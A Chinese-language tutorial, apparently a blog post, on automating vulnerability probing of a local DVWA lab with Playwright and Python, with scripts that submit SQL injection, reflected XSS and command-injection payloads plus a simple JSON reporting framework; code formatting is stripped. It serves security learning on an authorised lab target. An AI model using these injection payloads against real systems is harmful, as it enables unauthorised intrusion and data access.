1. 引言自动化安全测试的价值在当今快速迭代的软件开发周期中传统的手动安全测试方法已难以满足效率与覆盖面的要求。自动化漏洞挖掘应运而生它通过脚本模拟攻击者行为对 Web 应用进行系统性、可重复的安全检测极大地提升了安全评估的效率和一致性。DVWA (Damn Vulnerable Web Application)是一个专为安全学习与测试设计的、包含多种已知漏洞的 PHP/MySQL Web 应用。而Playwright是一个强大的现代浏览器自动化框架支持 Chromium、Firefox 和 WebKit能够可靠地模拟真实用户的交互行为。本文将指导你如何将二者结合构建一套从环境搭建、漏洞探测到结果报告的DVWA Playwright 自动化漏洞挖掘工作流适用于安全研究人员、渗透测试工程师和开发人员进行安全自测与学习。2. 环境准备2.1 DVWA 环境部署推荐使用 Docker 快速部署 DVWA避免复杂的本地环境配置。# 拉取 DVWA 官方镜像dockerpull vulnerables/web-dvwa# 运行容器将 80 端口映射到本机 8080 端口dockerrun--rm-d-p8080:80--namedvwa vulnerables/web-dvwa访问http://localhost:8080按照页面提示完成数据库初始化。默认登录凭证为用户名:admin密码:password登录后在DVWA Security页面将安全级别设置为Low以便进行漏洞利用测试。2.2 Playwright 与 Python 环境配置安装 Python (3.7): 确保你的系统已安装 Python。创建虚拟环境并安装依赖:# 创建项目目录并进入mkdirdvwa-playwright-automationcddvwa-playwright-automation# 创建虚拟环境 (可选但推荐)python-mvenv venv# Windows: venv\Scripts\activate# Linux/Mac: source venv/bin/activate# 安装 Playwright 和必要的库pipinstallplaywright pipinstallrequests beautifulsoup4# 安装 Playwright 浏览器驱动playwrightinstallchromium3. Playwright 基础模拟登录与导航在开始漏洞挖掘前我们需要掌握使用 Playwright 与 DVWA 进行基础交互。importasynciofromplaywright.async_apiimportasync_playwrightasyncdefdvwa_login():使用 Playwright 自动化登录 DVWAasyncwithasync_playwright()asp:# 启动浏览器headlessFalse 表示显示浏览器界面便于调试browserawaitp.chromium.launch(headlessFalse)contextawaitbrowser.new_context()pageawaitcontext.new_page()# 导航到 DVWA 登录页awaitpage.goto(http://localhost:8080/login.php)# 填写登录表单awaitpage.fill(input[nameusername],admin)awaitpage.fill(input[namepassword],password)awaitpage.click(input[typesubmit])# 等待登录成功后的页面跳转awaitpage.wait_for_url(**/index.php)# 设置安全级别为 Lowawaitpage.goto(http://localhost:8080/security.php)awaitpage.select_option(select[namesecurity],low)awaitpage.click(input[nameSubmit])print([] 登录成功且安全级别已设置为 Low。)# 返回 page 对象供后续操作使用returnpage,browserif__name____main__:page,browserasyncio.run(dvwa_login())# 后续操作...# 结束时关闭浏览器asyncio.run(browser.close())4. 自动化漏洞挖掘实战我们将针对 DVWA 中的几个经典漏洞模块编写 Playwright 自动化探测脚本。4.1 SQL 注入 (SQL Injection)漏洞原理应用程序将用户输入直接拼接至 SQL 查询语句中导致攻击者可以执行任意 SQL 命令。自动化探测思路导航到 SQL Injection 页面 (/vulnerabilities/sqli/)。在输入框中注入经典的探测载荷如 OR 11。分析页面响应判断是否存在漏洞例如是否返回了额外的用户信息。asyncdeftest_sql_injection(page):测试 DVWA SQL 注入漏洞 (Low 级别)awaitpage.goto(http://localhost:8080/vulnerabilities/sqli/)# 注入载荷payload OR 11awaitpage.fill(input[nameid],payload)awaitpage.click(input[typesubmit])# 等待结果并检查awaitpage.wait_for_load_state(networkidle)contentawaitpage.content()# 简单判断如果返回内容中包含“First name”或“Surname”可能注入成功ifFirst nameincontentorSurnameincontent:print([] SQL 注入漏洞可能存在)# 可以进一步提取和解析返回的数据# 例如使用 BeautifulSoup 解析 HTML 并提取表格数据else:print([-] 未发现明显的 SQL 注入成功迹象。)# 截图保存证据awaitpage.screenshot(path./evidence/sqli_result.png)4.2 跨站脚本 (XSS - Reflected)漏洞原理应用程序未对用户输入进行过滤或转义直接将输入内容输出到页面导致恶意脚本在受害者浏览器中执行。自动化探测思路导航到 XSS (Reflected) 页面 (/vulnerabilities/xss_r/)。输入一个简单的测试脚本如scriptalert(XSS)/script。检查页面响应中是否原样包含了我们的脚本或者是否触发了弹窗Playwright 可以监听dialog事件。asyncdeftest_xss_reflected(page):测试 DVWA 反射型 XSS 漏洞 (Low 级别)awaitpage.goto(http://localhost:8080/vulnerabilities/xss_r/)payloadscriptalert(XSS_Test)/scriptawaitpage.fill(input[namename],payload)# 监听弹窗对话框事件dialog_message[]defhandle_dialog(dialog):dialog_message.append(dialog.message)asyncio.create_task(dialog.dismiss())# 关闭弹窗page.on(dialog,handle_dialog)awaitpage.click(input[typesubmit])awaitpage.wait_for_timeout(1000)# 等待可能的脚本执行contentawaitpage.content()ifXSS_Testindialog_message:print([] 反射型 XSS 漏洞确认触发了弹窗。)elifpayloadincontent:# 脚本被原样输出到HTML中print([] 反射型 XSS 漏洞可能存在脚本被输出。)else:print([-] 未发现明显的反射型 XSS 漏洞。)awaitpage.screenshot(path./evidence/xss_r_result.png)4.3 命令注入 (Command Injection)漏洞原理应用程序将用户输入作为系统命令的一部分执行攻击者可以通过注入特殊字符如;、|、来执行任意系统命令。自动化探测思路导航到 Command Injection 页面 (/vulnerabilities/exec/)。注入一个能产生明显输出的系统命令如127.0.0.1 whoami。检查响应中是否包含了命令执行的结果如当前系统用户名。asyncdeftest_command_injection(page):测试 DVWA 命令注入漏洞 (Low 级别)awaitpage.goto(http://localhost:8080/vulnerabilities/exec/)# 注入一个无害但能验证漏洞的命令payload127.0.0.1 echo [CMD_INJ_TEST]awaitpage.fill(input[nameip],payload)awaitpage.click(input[typesubmit])awaitpage.wait_for_load_state(networkidle)contentawaitpage.content()if[CMD_INJ_TEST]incontent:print([] 命令注入漏洞确认)# 可以尝试注入更复杂的命令如 ls -la并解析结果else:print([-] 未发现命令注入漏洞。)awaitpage.screenshot(path./evidence/cmd_inj_result.png)5. 进阶构建可复用的测试框架将上述分散的测试脚本组织成一个结构化的框架便于扩展和管理。# framework.pyimportasyncioimportjsonfromdatetimeimportdatetimefromplaywright.async_apiimportasync_playwrightclassDVWAAutomationFramework:def__init__(self,base_urlhttp://localhost:8080):self.base_urlbase_url self.results[]self.pageNoneself.browserNoneasyncdefsetup(self):初始化浏览器并登录pawaitasync_playwright().start()self.browserawaitp.chromium.launch(headlessTrue)# 无头模式运行contextawaitself.browser.new_context()self.pageawaitcontext.new_page()# ... 登录和设置安全级别的代码 ...print([*] 框架初始化完成。)asyncdefrun_test(self,test_func,vuln_name):运行单个测试并记录结果print(f[*] 开始测试:{vuln_name})start_timedatetime.now()try:awaittest_func(self.page)statusPASS (疑似存在)exceptExceptionase:statusfERROR:{e}end_timedatetime.now()self.results.append({vulnerability:vuln_name,status:status,start_time:start_time.isoformat(),end_time:end_time.isoformat(),evidence:f./evidence/{vuln_name.lower().replace( ,_)}.png})print(f[] 测试{vuln_name}完成。状态:{status})asyncdefgenerate_report(self):生成 JSON 格式测试报告report{scan_time:datetime.now().isoformat(),target:self.base_url,results:self.results}withopen(./scan_report.json,w)asf:json.dump(report,f,indent4)print([] 测试报告已生成: scan_report.json)asyncdefcleanup(self):清理资源ifself.browser:awaitself.browser.close()# 主运行脚本asyncdefmain():frameworkDVWAAutomationFramework()try:awaitframework.setup()# 注册测试用例fromyour_testsimporttest_sql_injection,test_xss_reflected,test_command_injectionawaitframework.run_test(test_sql_injection,SQL Injection)awaitframework.run_test(test_xss_reflected,XSS (Reflected))awaitframework.run_test(test_command_injection,Command Injection)awaitframework.generate_report()finally:awaitframework.cleanup()if__name____main__:asyncio.run(main())6. 注意事项与最佳实践合法授权仅在你拥有完全权限的测试环境如本地 DVWA或获得明确书面授权的目标上运行自动化测试。控制速率在脚本中添加延迟 (await page.wait_for_timeout(1000))避免对目标服务器造成拒绝服务攻击。错误处理完善异常捕获确保脚本在遇到网络问题或页面结构变化时能优雅失败或重试。证据留存对关键的测试步骤如提交 payload 前后进行截图 (page.screenshot) 或保存 HTML 快照便于后续分析和报告撰写。持续更新Web 应用和 Playwright 都可能更新定期维护你的测试脚本以适应变化。7. 总结通过结合DVWA的标准化漏洞环境和Playwright的强大浏览器自动化能力我们能够构建高效、可重复的自动化安全测试流程。本文提供了从环境搭建、基础交互到针对 SQL 注入、XSS、命令注入等漏洞的自动化探测脚本并给出了一个简易框架的雏形。你可以在此基础上进一步扩展测试范围如文件上传、CSRF 等集成更复杂的漏洞验证逻辑甚至将其与 CI/CD 管道结合实现安全左移。自动化不是要完全取代人工而是将安全工程师从重复劳动中解放出来专注于更复杂的逻辑漏洞和业务安全风险。记住能力越大责任越大。请始终将你的技能用于合法的安全测试与防御。